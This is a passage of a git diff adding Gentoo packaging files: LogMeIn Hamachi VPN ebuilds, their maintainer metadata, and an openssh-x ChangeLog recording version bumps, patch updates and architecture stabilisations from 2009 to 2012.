+	amd64?	( https://secure.logmein.com/labs/${P}-x64.tgz )"
+
+LICENSE="LogMeIn"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+IUSE=""
+
+RDEPEND="!net-misc/hamachi"
+
+RESTRICT="mirror"
+
+QA_PREBUILT="/opt/${PN}/bin/hamachid"
+QA_PRESTRIPPED="/opt/${PN}/bin/hamachid"
+
+pkg_setup() {
+	einfo "Checking your kernel configuration for TUN/TAP support."
+	CONFIG_CHECK="~TUN"
+	check_extra_config
+}
+
+src_unpack() {
+	unpack ${A}
+	mv ${P}-$(use x86 && echo x86 || echo x64) "${S}" || die
+}
+
+src_install() {
+	into /opt/${PN}
+	dobin hamachid dnsup dnsdown || die
+	dosym /opt/${PN}/bin/hamachid /usr/bin/hamachi || die "Couldn't create hamachi symlink"
+
+	dodir /var/run/${PN} || die
+
+	# Config and log directory
+	dodir /var/lib/${PN} || die
+
+	newconfd "${FILESDIR}"/${PN}.confd ${PN} || die
+	newinitd "${FILESDIR}"/${PN}.initd ${PN} || die
+
+	dodoc CHANGES README || die
+}
+
+pkg_postinst() {
+	elog "LogMeIn Hamachi2 is installed."
+	elog "Consult the README file on how to configure your client."
+	elog "You can run the client 'hamachi' as root,"
+	elog "or as a user if you add a line:"
+	elog "Ipc.User      <login name>"
+	elog "to the file '/var/lib/${PN}/h2-engine-override.cfg'"
+	elog "and restart the daemon with"
+	elog "/etc/init.d/${PN} restart"
+	elog "To enable auto-login when the service starts set a nickname in"
+	elog "/etc/conf.d/${PN}"
+}
diff --git a/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68.ebuild b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68.ebuild
new file mode 100644
index 00000000..40583675
--- /dev/null
+++ b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.68.ebuild,v 1.1 2012/06/29 08:06:49 maksbotan Exp $
+
+inherit eutils linux-info
+
+DESCRIPTION="LogMeIn Hamachi VPN tunneling engine"
+HOMEPAGE="https://secure.logmein.com/products/hamachi2"
+SRC_URI="x86?	( https://secure.logmein.com/labs/${P}-x86.tgz )
+	amd64?	( https://secure.logmein.com/labs/${P}-x64.tgz )"
+
+LICENSE="LogMeIn"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+IUSE=""
+
+RDEPEND="!net-misc/hamachi"
+
+RESTRICT="mirror"
+
+QA_PRESTRIPPED="/opt/${PN}/bin/hamachid"
+
+pkg_setup() {
+	einfo "Checking your kernel configuration for TUN/TAP support."
+	CONFIG_CHECK="~TUN"
+	check_extra_config
+}
+
+src_unpack() {
+	unpack ${A}
+	mv ${P}-$(use x86 && echo x86 || echo x64) "${S}" || die
+}
+
+src_install() {
+	into /opt/${PN}
+	dobin hamachid dnsup dnsdown || die
+	dosym /opt/${PN}/bin/hamachid /usr/bin/hamachi || die "Couldn't create hamachi symlink"
+
+	dodir /var/run/${PN} || die
+
+	# Config and log directory
+	dodir /var/lib/${PN} || die
+
+	newconfd "${FILESDIR}"/${PN}.confd ${PN} || die
+	newinitd "${FILESDIR}"/${PN}.initd ${PN} || die
+
+	dodoc CHANGES README || die
+}
+
+pkg_postinst() {
+	elog "LogMeIn Hamachi2 is installed."
+	elog "Consult the README file on how to configure your client."
+	elog "You can run the client 'hamachi' as root,"
+	elog "or as a user if you add a line:"
+	elog "Ipc.User      <login name>"
+	elog "to the file '/var/lib/${PN}/h2-engine-override.cfg'"
+	elog "and restart the daemon with"
+	elog "/etc/init.d/${PN} restart"
+	elog "To enable auto-login when the service starts set a nickname in"
+	elog "/etc/conf.d/${PN}"
+}
diff --git a/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76-r1.ebuild b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76-r1.ebuild
new file mode 100644
index 00000000..87a137b9
--- /dev/null
+++ b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76-r1.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76-r1.ebuild,v 1.1 2012/10/15 18:22:42 hwoarang Exp $
+
+inherit eutils linux-info
+
+DESCRIPTION="LogMeIn Hamachi VPN tunneling engine"
+HOMEPAGE="https://secure.logmein.com/products/hamachi2"
+SRC_URI="x86?	( https://secure.logmein.com/labs/${P}-x86.tgz )
+	amd64?	( https://secure.logmein.com/labs/${P}-x64.tgz )"
+
+LICENSE="LogMeIn"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+IUSE=""
+
+RDEPEND="!net-misc/hamachi"
+
+RESTRICT="mirror"
+
+QA_PREBUILT="/opt/${PN}/bin/hamachid"
+QA_PRESTRIPPED="/opt/${PN}/bin/hamachid"
+
+pkg_setup() {
+	einfo "Checking your kernel configuration for TUN/TAP support."
+	CONFIG_CHECK="~TUN"
+	check_extra_config
+}
+
+src_unpack() {
+	unpack ${A}
+	mv ${P}-$(use x86 && echo x86 || echo x64) "${S}" || die
+}
+
+src_install() {
+	into /opt/${PN}
+	dobin hamachid dnsup dnsdown || die
+	dosym /opt/${PN}/bin/hamachid /usr/bin/hamachi || die "Couldn't create hamachi symlink"
+
+	dodir /var/run/${PN} || die
+
+	# Config and log directory
+	dodir /var/lib/${PN} || die
+
+	newconfd "${FILESDIR}"/${PN}.confd ${PN} || die
+	newinitd "${FILESDIR}"/${PN}.initd ${PN} || die
+
+	dodoc CHANGES README || die
+}
+
+pkg_postinst() {
+	elog "LogMeIn Hamachi2 is installed."
+	elog "Consult the README file on how to configure your client."
+	elog "You can run the client 'hamachi' as root,"
+	elog "or as a user if you add a newline terminated line:"
+	elog "Ipc.User      "
+	elog "to the file '/var/lib/${PN}/h2-engine-override.cfg'"
+	elog "and restart the daemon with"
+	elog "/etc/init.d/${PN} restart"
+	elog "To enable auto-login when the service starts set a nickname in"
+	elog "/etc/conf.d/${PN}"
+}
diff --git a/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76.ebuild b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76.ebuild
new file mode 100644
index 00000000..09887dbc
--- /dev/null
+++ b/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/logmein-hamachi/logmein-hamachi-2.1.0.76.ebuild,v 1.1 2012/10/03 21:11:40 hwoarang Exp $
+
+inherit eutils linux-info
+
+DESCRIPTION="LogMeIn Hamachi VPN tunneling engine"
+HOMEPAGE="https://secure.logmein.com/products/hamachi2"
+SRC_URI="x86?	( https://secure.logmein.com/labs/${P}-x86.tgz )
+	amd64?	( https://secure.logmein.com/labs/${P}-x64.tgz )"
+
+LICENSE="LogMeIn"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+IUSE=""
+
+RDEPEND="!net-misc/hamachi"
+
+RESTRICT="mirror"
+
+QA_PREBUILT="/opt/${PN}/bin/hamachid"
+QA_PRESTRIPPED="/opt/${PN}/bin/hamachid"
+
+pkg_setup() {
+	einfo "Checking your kernel configuration for TUN/TAP support."
+	CONFIG_CHECK="~TUN"
+	check_extra_config
+}
+
+src_unpack() {
+	unpack ${A}
+	mv ${P}-$(use x86 && echo x86 || echo x64) "${S}" || die
+}
+
+src_install() {
+	into /opt/${PN}
+	dobin hamachid dnsup dnsdown || die
+	dosym /opt/${PN}/bin/hamachid /usr/bin/hamachi || die "Couldn't create hamachi symlink"
+
+	dodir /var/run/${PN} || die
+
+	# Config and log directory
+	dodir /var/lib/${PN} || die
+
+	newconfd "${FILESDIR}"/${PN}.confd ${PN} || die
+	newinitd "${FILESDIR}"/${PN}.initd ${PN} || die
+
+	dodoc CHANGES README || die
+}
+
+pkg_postinst() {
+	elog "LogMeIn Hamachi2 is installed."
+	elog "Consult the README file on how to configure your client."
+	elog "You can run the client 'hamachi' as root,"
+	elog "or as a user if you add a line:"
+	elog "Ipc.User      <login name>"
+	elog "to the file '/var/lib/${PN}/h2-engine-override.cfg'"
+	elog "and restart the daemon with"
+	elog "/etc/init.d/${PN} restart"
+	elog "To enable auto-login when the service starts set a nickname in"
+	elog "/etc/conf.d/${PN}"
+}
diff --git a/net-misc/logmein-hamachi/metadata.xml b/net-misc/logmein-hamachi/metadata.xml
new file mode 100644
index 00000000..c9fafa9c
--- /dev/null
+++ b/net-misc/logmein-hamachi/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<herd>proxy-maintainers</herd>
+	<maintainer>
+		<email>nonno.cicala@libero.it</email>
+		<name>Simone Scanzoni</name>
+	</maintainer>
+</pkgmetadata>
diff --git a/net-misc/openssh-x/ChangeLog b/net-misc/openssh-x/ChangeLog
new file mode 100644
index 00000000..93dd285c
--- /dev/null
+++ b/net-misc/openssh-x/ChangeLog
@@ -0,0 +1,1929 @@
+# ChangeLog for net-misc/openssh
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/ChangeLog,v 1.451 2012/09/08 18:38:11 vapier Exp $
+
+*openssh-6.1_p1 (08 Sep 2012)
+
+  08 Sep 2012; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-6.1_p1-x509-glue.patch,
+  +files/openssh-6.1_p1-x509-hpn-glue.patch, +openssh-6.1_p1.ebuild:
+  Version bump #434278 by Phr33d0m.
+
+*openssh-6.0_p1-r1 (08 Jun 2012)
+
+  08 Jun 2012; Mike Frysinger <vapier@gentoo.org> +openssh-6.0_p1-r1.ebuild:
+  Back hpn patch back down to v11 as v12 does not want to work for us #414401 by
+  Sean McGovern.
+
+  02 Jun 2012; Mike Frysinger <vapier@gentoo.org> openssh-5.9_p1-r4.ebuild:
+  Mark alpha/ia64/s390/sh/sparc stable #396075.
+
+  29 May 2012; Alexis Ballier <aballier@gentoo.org> openssh-6.0_p1.ebuild:
+  keyword ~amd64-fbsd
+
+  29 May 2012; Richard Yao <ryao@gentoo.org>
+  +files/openssh-6.0_p1-fix-freebsd-compilation.patch, openssh-6.0_p1.ebuild:
+  Fix build failure on Gentoo FreeBSD 9, written by naota, reviewed by
+  xarthisius, approved by Chainsaw, bug #391011
+
+  23 May 2012; Mike Frysinger <vapier@gentoo.org> openssh-5.5_p1-r2.ebuild,
+  openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild, openssh-5.8_p1-r1.ebuild,
+  openssh-5.8_p2-r1.ebuild, openssh-5.8_p2.ebuild, openssh-5.9_p1-r3.ebuild,
+  openssh-5.9_p1-r4.ebuild, openssh-6.0_p1.ebuild:
+  Inherit user eclass for enewuser/etc...
+
+  17 May 2012; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-6.0_p1-test.patch, openssh-6.0_p1.ebuild:
+  Add fix for POSIX test compat #391011.
+
+  08 May 2012; Brent Baude <ranger@gentoo.org> openssh-5.9_p1-r4.ebuild:
+  Marking openssh-5.9_p1-r4 ppc64 for bug 396075
+
+  05 May 2012; Jeff Horelick <jdhore@gentoo.org> openssh-5.5_p1-r2.ebuild,
+  openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild, openssh-5.8_p1-r1.ebuild,
+  openssh-5.8_p2.ebuild, openssh-5.8_p2-r1.ebuild, openssh-5.9_p1-r3.ebuild,
+  openssh-5.9_p1-r4.ebuild, openssh-6.0_p1.ebuild:
+  dev-util/pkgconfig -> virtual/pkgconfig
+
+  03 May 2012; Mike Frysinger <vapier@gentoo.org> openssh-6.0_p1.ebuild:
+  Enable locale env var passing by default #367017 by Michael.
+
+*openssh-6.0_p1 (30 Apr 2012)
+
+  30 Apr 2012; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-6.0_p1-hpn-progressmeter.patch,
+  +files/openssh-6.0_p1-x509-glue.patch,
+  +files/openssh-6.0_p1-x509-hpn-glue.patch, +openssh-6.0_p1.ebuild:
+  Version bump with work from Robin #414071 by Michael Weber.
+
+  16 Apr 2012; Markus Meier <maekke@gentoo.org> openssh-5.9_p1-r4.ebuild:
+  arm stable, bug #396075
+
+  16 Apr 2012; Brent Baude <ranger@gentoo.org> openssh-5.9_p1-r4.ebuild:
+  Marking openssh-5.9_p1-r4 ppc for bug 396075
+
+  10 Apr 2012; Jeroen Roovers <jer@gentoo.org> openssh-5.9_p1-r4.ebuild:
+  Stable for HPPA (bug #396075).
+
+  09 Apr 2012; Jeff Horelick <jdhore@gentoo.org> openssh-5.9_p1-r4.ebuild:
+  marked x86 per bug 396075
+
+  09 Apr 2012; Agostino Sarubbo <ago@gentoo.org> openssh-5.9_p1-r4.ebuild:
+  Stable for amd64, wrt bug #396075
+
+*openssh-5.9_p1-r4 (15 Mar 2012)
+
+  15 Mar 2012; Mike Frysinger <vapier@gentoo.org> +openssh-5.9_p1-r4.ebuild,
+  +files/openssh-5.9_p1-drop-openssl-check.patch:
+  Drop openssl version checking.
+
+  13 Mar 2012; Pawel Hajdan jr <phajdan.jr@gentoo.org>
+  openssh-5.5_p1-r2.ebuild, openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild,
+  openssh-5.8_p1-r1.ebuild, openssh-5.8_p2.ebuild, openssh-5.8_p2-r1.ebuild,
+  openssh-5.9_p1-r3.ebuild:
+  Switch to virtual/shadow.
+
+  13 Feb 2012; Robin H. Johnson <robbat2@gentoo.org> openssh-5.9_p1-r3.ebuild:
+  Bug #352083: install LPK schema.
+
+  06 Feb 2012; Jeremy Olexa <darkside@gentoo.org> openssh-5.9_p1-r3.ebuild:
+  [Bug 402441] net-misc/openssh: Add output to say that ECDSA will not work
+  when openssl[bindist] is present
+
+  14 Dec 2011; Michał Górny <mgorny@gentoo.org> openssh-5.9_p1-r3.ebuild,
+  +files/sshd.service, +files/sshd.socket, +files/sshd_at.service:
+  Install systemd unit files.
+
+  04 Dec 2011; Sven Wegener <swegener@gentoo.org> files/sshd.rc6,
+  files/sshd.rc6.1, files/sshd.rc6.2:
+  move reload to extra_started_commands
+
+  26 Nov 2011; Mike Frysinger <vapier@gentoo.org> openssh-5.9_p1-r3.ebuild:
+  Move enew{user,group} to pkg_preinst so `die` works.
+
+  03 Nov 2011; Mike Frysinger <vapier@gentoo.org> openssh-5.5_p1-r2.ebuild,
+  openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild, openssh-5.8_p1-r1.ebuild,
+  openssh-5.8_p2.ebuild, openssh-5.8_p2-r1.ebuild, openssh-5.9_p1-r3.ebuild:
+  Use new egetshell helper rather than calling getent directly.
+
+  02 Nov 2011; Mike Frysinger <vapier@gentoo.org> openssh-5.5_p1-r2.ebuild,
+  openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild, openssh-5.8_p1-r1.ebuild,
+  openssh-5.8_p2.ebuild, openssh-5.8_p2-r1.ebuild, openssh-5.9_p1-r3.ebuild:
+  Use egetent rather than getent.
+
+*openssh-5.9_p1-r3 (26 Sep 2011)
+
+  26 Sep 2011; Mike Frysinger <vapier@gentoo.org> -openssh-5.9_p1.ebuild,
+  -openssh-5.9_p1-r2.ebuild, +openssh-5.9_p1-r3.ebuild,
+  +files/openssh-5.9_p1-x509-glue.patch:
+  Add x509 patch and release.
+
+*openssh-5.9_p1-r2 (14 Sep 2011)
+*openssh-5.8_p2-r1 (14 Sep 2011)
+
+  14 Sep 2011; Lars Wendler <polynomial-c@gentoo.org>
+  +openssh-5.8_p2-r1.ebuild, -openssh-5.9_p1-r1.ebuild,
+  +openssh-5.9_p1-r2.ebuild, files/sshd.rc6.3:
+  non-maintainer commit: Replaced deprecated opts variable (bug #382227) and
+  removed --stop option from reload function (bug #382975). Bot changes and
+  revbumps were done with kind permission from vapier.
+
+  12 Sep 2011; Mike Frysinger <vapier@gentoo.org> openssh-5.9_p1-r1.ebuild:
+  Simplify test homedir logic a bit, and fix quoting.
+
+*openssh-5.9_p1-r1 (07 Sep 2011)
+
+  07 Sep 2011; Robin H. Johnson <robbat2@gentoo.org> +openssh-5.9_p1-r1.ebuild:
+  Add complete port of HPN+LPK patches, also adjust the HOMEDIR setting for
+  src_test to complete in more cases.
+
+  07 Sep 2011; Mike Frysinger <vapier@gentoo.org> openssh-5.9_p1.ebuild:
+  Retain default AuthorizedKeysFile behavior.
+
+*openssh-5.9_p1 (07 Sep 2011)
+
+  07 Sep 2011; Mike Frysinger <vapier@gentoo.org> +openssh-5.9_p1.ebuild,
+  +files/openssh-5.9_p1-sshd-gssapi-multihomed.patch, +files/sshd.rc6.3:
+  Version bump. Drop --oknodo in init.d #377771 by Michael Mair-Keimberger. Add
+  GSSAPI/Kerberos fix #378361 by Kevan Carstensen.
+
+  28 May 2011; Mike Frysinger <vapier@gentoo.org> files/sshd.rc6.2:
+  Move custom opts to checkconfig and include those when verifying config
+  sanity #367303 by Horst Prote.
+
+  16 May 2011; Robin H. Johnson <robbat2@gentoo.org> openssh-5.8_p2.ebuild:
+  Bug #366643: rediff the LPK patch for LDAP usage. Also merge the Mozilla uid
+  customization LPK change.
+
+*openssh-5.8_p2 (09 May 2011)
+
+  09 May 2011; Mike Frysinger <vapier@gentoo.org> +openssh-5.8_p2.ebuild:
+  Version bump.
+
+  16 Apr 2011; Ulrich Mueller <ulm@gentoo.org> openssh-5.5_p1-r2.ebuild,
+  openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild, openssh-5.8_p1-r1.ebuild:
+  Don't PROVIDE virtual/ssh, bug 361121.
+
+  19 Feb 2011; Mike Frysinger <vapier@gentoo.org> openssh-5.8_p1-r1.ebuild:
+  Encourage people to update their stored ssh key lists #355223 by Pacho Ramos.
+
+  19 Feb 2011; Mike Frysinger <vapier@gentoo.org> -openssh-5.8_p1.ebuild,
+  openssh-5.8_p1-r1.ebuild:
+  We want openssh-5.8_p1-r1 going stable.
+
+  13 Feb 2011; Raúl Porcel <armin76@gentoo.org> openssh-5.8_p1.ebuild:
+  arm/ia64/m68k/s390/sh/sparc stable wrt #353673
+
+  11 Feb 2011; Pawel Hajdan jr <phajdan.jr@gentoo.org>
+  openssh-5.8_p1.ebuild:
+  x86 stable wrt security bug #353673
+
+  11 Feb 2011; Kacper Kowalik <xarthisius@gentoo.org> openssh-5.8_p1.ebuild:
+  ppc stable wrt 353673
+
+  10 Feb 2011; Markos Chandras <hwoarang@gentoo.org> openssh-5.8_p1.ebuild:
+  Stable on amd64 wrt bug #353673
+
+  10 Feb 2011; Robin H. Johnson <robbat2@gentoo.org> openssh-5.5_p1-r2.ebuild,
+  openssh-5.6_p1-r2.ebuild, openssh-5.7_p1-r1.ebuild, openssh-5.8_p1.ebuild,
+  openssh-5.8_p1-r1.ebuild:
+  Revamp AES-CTR-MT disable comment, with explicit reference to upstream
+  documentation and testcase reference (bug #354113, comment 6).
+
+  10 Feb 2011; Mike Frysinger <vapier@gentoo.org> openssh-5.8_p1-r1.ebuild,
+  +files/openssh-5.8_p1-selinux.patch:
+  Drop openssl build patch since it doesn't seem to be needed anymore, and
+  apply simple build fix for selinux from upstream #354247 by MarisN.
+
+  10 Feb 2011; Robin H. Johnson <robbat2@gentoo.org> openssh-5.8_p1.ebuild:
+  Also add AES-CTR fix to 5.8_p1 presently under stabilization.
+  alpha/hppa/ppc64 are the only stable arches with the broken HPN version at
+  present.
+
+*openssh-5.8_p1-r1 (10 Feb 2011)
+
+  10 Feb 2011; Robin H. Johnson <robbat2@gentoo.org> openssh-5.6_p1-r2.ebuild,
+  openssh-5.7_p1-r1.ebuild, +openssh-5.8_p1-r1.ebuild:
+  Bug #354113: AES-CTR workaround was dropped from 5.7 and 5.8 when it is still
+  required.
+
+  08 Feb 2011; Kacper Kowalik <xarthisius@gentoo.org> openssh-5.8_p1.ebuild:
+  ppc64 stable wrt #353673
+
+  08 Feb 2011; Tobias Klausmann <klausman@gentoo.org> openssh-5.8_p1.ebuild:
+  Stable on alpha, bug #353673
+
+  08 Feb 2011; Jeroen Roovers <jer@gentoo.org> openssh-5.8_p1.ebuild:
+  Stable for HPPA (bug #353673).
+
+*openssh-5.8_p1 (05 Feb 2011)
+
+  05 Feb 2011; Mike Frysinger <vapier@gentoo.org> +openssh-5.8_p1.ebuild,
+  +files/openssh-5.8_p1-x509-hpn-glue.patch:
+  Version bump #353673. Default HPN to on when available #347193 by Jeremy
+  Olexa.
+
+*openssh-5.7_p1-r1 (25 Jan 2011)
+
+  25 Jan 2011; Mike Frysinger <vapier@gentoo.org> +openssh-5.7_p1-r1.ebuild,
+  +files/openssh-5.7_p1-x509-hpn-glue.patch:
+  Add x509/ldap/hpn support back in. Auto-remove ecdsa support from init.d if
+  openssl lacks support #352645 by William Throwe.
+
+*openssh-5.7_p1 (24 Jan 2011)
+
+  24 Jan 2011; Mike Frysinger <vapier@gentoo.org> +openssh-5.7_p1.ebuild,
+  +files/sshd.rc6.2:
+  Version bump.
+
+  10 Dec 2010; Robin H. Johnson <robbat2@gentoo.org> metadata.xml:
+  Update restrict in metadata per mgorny's request to use DEPEND syntax.
+
+  04 Dec 2010; Raúl Porcel <armin76@gentoo.org> openssh-5.6_p1-r2.ebuild:
+  alpha/ia64/m68k/s390/sh stable wrt #346395
+
+  29 Nov 2010; Brent Baude <ranger@gentoo.org> openssh-5.6_p1-r2.ebuild:
+  stable ppc64, bug 346395
+
+  27 Nov 2010; Michael Weber <xmw@gentoo.org> openssh-5.6_p1-r2.ebuild:
+  arm/sparc stable (bug 346395)
+
+  24 Nov 2010; Jeroen Roovers <jer@gentoo.org> openssh-5.6_p1-r2.ebuild:
+  Stable for HPPA PPC (bug #346395).
+
+  22 Nov 2010; Markos Chandras <hwoarang@gentoo.org> openssh-5.6_p1-r2.ebuild:
+  Stable on amd64 wrt bug #346395
+
+  22 Nov 2010; Thomas Kahle <tomka@gentoo.org> openssh-5.6_p1-r2.ebuild:
+  x86 stable per bug 346395
+
+  11 Oct 2010; Diego E. Pettenò <flameeyes@gentoo.org>
+  openssh-5.6_p1-r2.ebuild, +files/sshd.rc6.1:
+  Update init script to not regenerate the RSA1 host key (for SSH Protocol
+  1) unless Protocol 1 is enabled. Modern OpenSSH versions disable Protocol
+  1 in the daemon by default.
+
+*openssh-5.6_p1-r2 (30 Sep 2010)
+
+  30 Sep 2010; Mike Frysinger <vapier@gentoo.org> +openssh-5.6_p1-r2.ebuild,
+  +files/openssh-5.6_p1-hpn-progressmeter.patch:
+  Switch to latest upstream hpn patch, and fix a pointer error in it.
+
+  24 Sep 2010; Raúl Porcel <armin76@gentoo.org> openssh-5.5_p1-r2.ebuild:
+  alpha/ia64/m68k/s390/sh/sparc stable wrt #334165
+
+  23 Sep 2010; Markus Meier <maekke@gentoo.org> openssh-5.5_p1-r2.ebuild:
+  arm stable, bug #334165
+
+  06 Sep 2010; Brent Baude <ranger@gentoo.org> openssh-5.5_p1-r2.ebuild:
+  Marking openssh-5.5_p1-r2 ppc64 for bug 334165
+
+  28 Aug 2010; Markos Chandras <hwoarang@gentoo.org>
+  openssh-5.5_p1-r2.ebuild:
+  Stable on amd64 wrt bug #334165
+
+  28 Aug 2010; Jeroen Roovers <jer@gentoo.org> openssh-5.5_p1-r2.ebuild:
+  Stable for HPPA PPC (bug #334165).
+
+*openssh-5.6_p1-r1 (26 Aug 2010)
+
+  26 Aug 2010; Mike Frysinger <vapier@gentoo.org> +openssh-5.6_p1-r1.ebuild,
+  +files/openssh-5.6_p1-x509-hpn-glue.patch:
+  Update hpn/ldap/x509 patches to new release.
+
+  25 Aug 2010; Robin H. Johnson <robbat2@gentoo.org> openssh-5.6_p1.ebuild:
+  Update HPN and LPK patches for 5.6p1 series.
+
+  24 Aug 2010; Pawel Hajdan jr <phajdan.jr@gentoo.org>
+  openssh-5.5_p1-r2.ebuild:
+  x86 stable wrt bug #334165
+
+*openssh-5.6_p1 (23 Aug 2010)
+
+  23 Aug 2010; Mike Frysinger <vapier@gentoo.org> +openssh-5.6_p1.ebuild:
+  Version bump.
+
+*openssh-5.5_p1-r2 (20 Jun 2010)
+*openssh-5.4_p1-r3 (20 Jun 2010)
+
+  20 Jun 2010; Mike Frysinger <vapier@gentoo.org> +openssh-5.4_p1-r3.ebuild,
+  +openssh-5.5_p1-r2.ebuild:
+  Switch to the official hpn patches.
+
+*openssh-5.5_p1-r1 (20 Apr 2010)
+
+  20 Apr 2010; Robin H. Johnson <robbat2@gentoo.org>
+  +openssh-5.5_p1-r1.ebuild:
+  The 5.4 patchsets for HPN and LPK apply and work perfectly with 5.5.
+
+*openssh-5.5_p1 (16 Apr 2010)
+
+  16 Apr 2010; Mike Frysinger <vapier@gentoo.org> +openssh-5.5_p1.ebuild:
+  Version bump.
+
+*openssh-5.4_p1-r2 (29 Mar 2010)
+
+  29 Mar 2010; Robin H. Johnson <robbat2@gentoo.org>
+  +openssh-5.4_p1-r2.ebuild:
+  Revbump with HPN and LPK patches available again now. Ported and submitted
+  to upstream authors. X509 now has more conflicts with HPN, future
+  revisions may require selection of: x509 XOR (hpn OR lpk).
+
+*openssh-5.4_p1-r1 (29 Mar 2010)
+
+  29 Mar 2010; Mike Frysinger <vapier@gentoo.org> +openssh-5.4_p1-r1.ebuild,
+  +files/openssh-5.4_p1-pkcs11.patch,
+  +files/openssh-5.4_p1-relative-AuthorizedKeysFile.patch:
+  Fixes from upstream for pkcs build problems #310929 by Alan Hourihane and
+  for relative AuthorizedKeysFile handling #308939 by Eric Vander Weele.
+
+  20 Mar 2010; Mike Frysinger <vapier@gentoo.org> openssh-5.3_p1-r1.ebuild,
+  openssh-5.4_p1.ebuild:
+  Fix warning with USE="X509 ldap" #310287 by Nico Baggus.
+
+  19 Mar 2010; Raúl Porcel <armin76@gentoo.org> openssh-5.3_p1-r1.ebuild:
+  sparc stable wrt #308555
+
+  19 Mar 2010; Mike Frysinger <vapier@gentoo.org> openssh-5.3_p1-r1.ebuild:
+  Mark alpha/arm/ia64/s390/sh stable #308555.
+
+  18 Mar 2010; Christian Faulhammer <fauli@gentoo.org>
+  openssh-5.3_p1-r1.ebuild:
+  stable x86, bug 308555
+
+  13 Mar 2010; Mike Frysinger <vapier@gentoo.org> openssh-5.4_p1.ebuild:
+  Drop USE=pkcs11 per Alon Bar-Lev #308431.
+
+  12 Mar 2010; Jeroen Roovers <jer@gentoo.org> openssh-5.3_p1-r1.ebuild:
+  Stable for HPPA (bug #308555).
+
+  12 Mar 2010; Markos Chandras <hwoarang@gentoo.org>
+  openssh-5.3_p1-r1.ebuild:
+  Stable on amd64 wrt bug #308555
+
+  10 Mar 2010; Joseph Jezak <josejx@gentoo.org> openssh-5.3_p1-r1.ebuild:
+  Marked ppc/ppc64 stable for bug #308555.
+
+*openssh-5.4_p1 (09 Mar 2010)
+
+  09 Mar 2010; Mike Frysinger <vapier@gentoo.org> +openssh-5.4_p1.ebuild,
+  +files/openssh-5.4_p1-openssl.patch:
+  Version bump #308431 by Dirkjan Ochtman.
+
+  27 Oct 2009; Raúl Porcel <armin76@gentoo.org> openssh-5.2_p1-r3.ebuild:
+  ia64/m68k/s390/sh/sparc stable wrt #287292
+
+  11 Oct 2009; nixnut <nixnut@gentoo.org> openssh-5.2_p1-r3.ebuild:
+  ppc stable #287292
+
+  11 Oct 2009; Tobias Klausmann <klausman@gentoo.org>
+  openssh-5.2_p1-r3.ebuild:
+  Stable on alpha, bug #287292
+
+  11 Oct 2009; Robin H. Johnson <robbat2@gentoo.org>
+  openssh-5.3_p1-r1.ebuild, +files/openssh-5.3_p1-pkcs11-hpn-glue.patch:
+  Bug #288498: Now we need a glue patch for pkcs11 and HPN together. Really
+  some of these patchsets need to go to upstream.
+
+*openssh-5.3_p1-r1 (10 Oct 2009)
+
+  10 Oct 2009; Robin H. Johnson <robbat2@gentoo.org>
+  +openssh-5.3_p1-r1.ebuild:
+  Ported the HPN and LPK patches to 5.3p1, mailed upstream as well.
+
+  07 Oct 2009; Mike Frysinger <vapier@gentoo.org> openssh-5.2_p1-r2.ebuild,
+  openssh-5.2_p1-r3.ebuild, openssh-5.3_p1.ebuild:
+  Fix static_use_with handling when there is one option #287292 by Jaak
+  Ristioja.
+
+  03 Oct 2009; Jeroen Roovers <jer@gentoo.org> openssh-5.2_p1-r3.ebuild:
+  Stable for HPPA (bug #287292).
+
+  03 Oct 2009; Brent Baude <ranger@gentoo.org> openssh-5.2_p1-r3.ebuild:
+  Marking openssh-5.2_p1-r3 ppc64 for bug 287292
+
+  03 Oct 2009; Markus Meier <maekke@gentoo.org> openssh-5.2_p1-r3.ebuild:
+  amd64/arm/x86 stable, bug #287292
+
+*openssh-5.3_p1 (03 Oct 2009)
+
+  03 Oct 2009; Mike Frysinger <vapier@gentoo.org> +openssh-5.3_p1.ebuild:
+  Version bump.
+
+*openssh-5.2_p1-r3 (23 Aug 2009)
+
+  23 Aug 2009; Mike Frysinger <vapier@gentoo.org> +openssh-5.2_p1-r3.ebuild,
+  +files/openssh-5.2_p1-gsskex-fix.patch,
+  +files/openssh-5.2_p1-x509-hpn-glue.patch:
+  Update x509 patch, update gsskex patch #279488 by Harald Barth, and update
+  x509/hpn glue #270508 by BedOS_Gui.
+
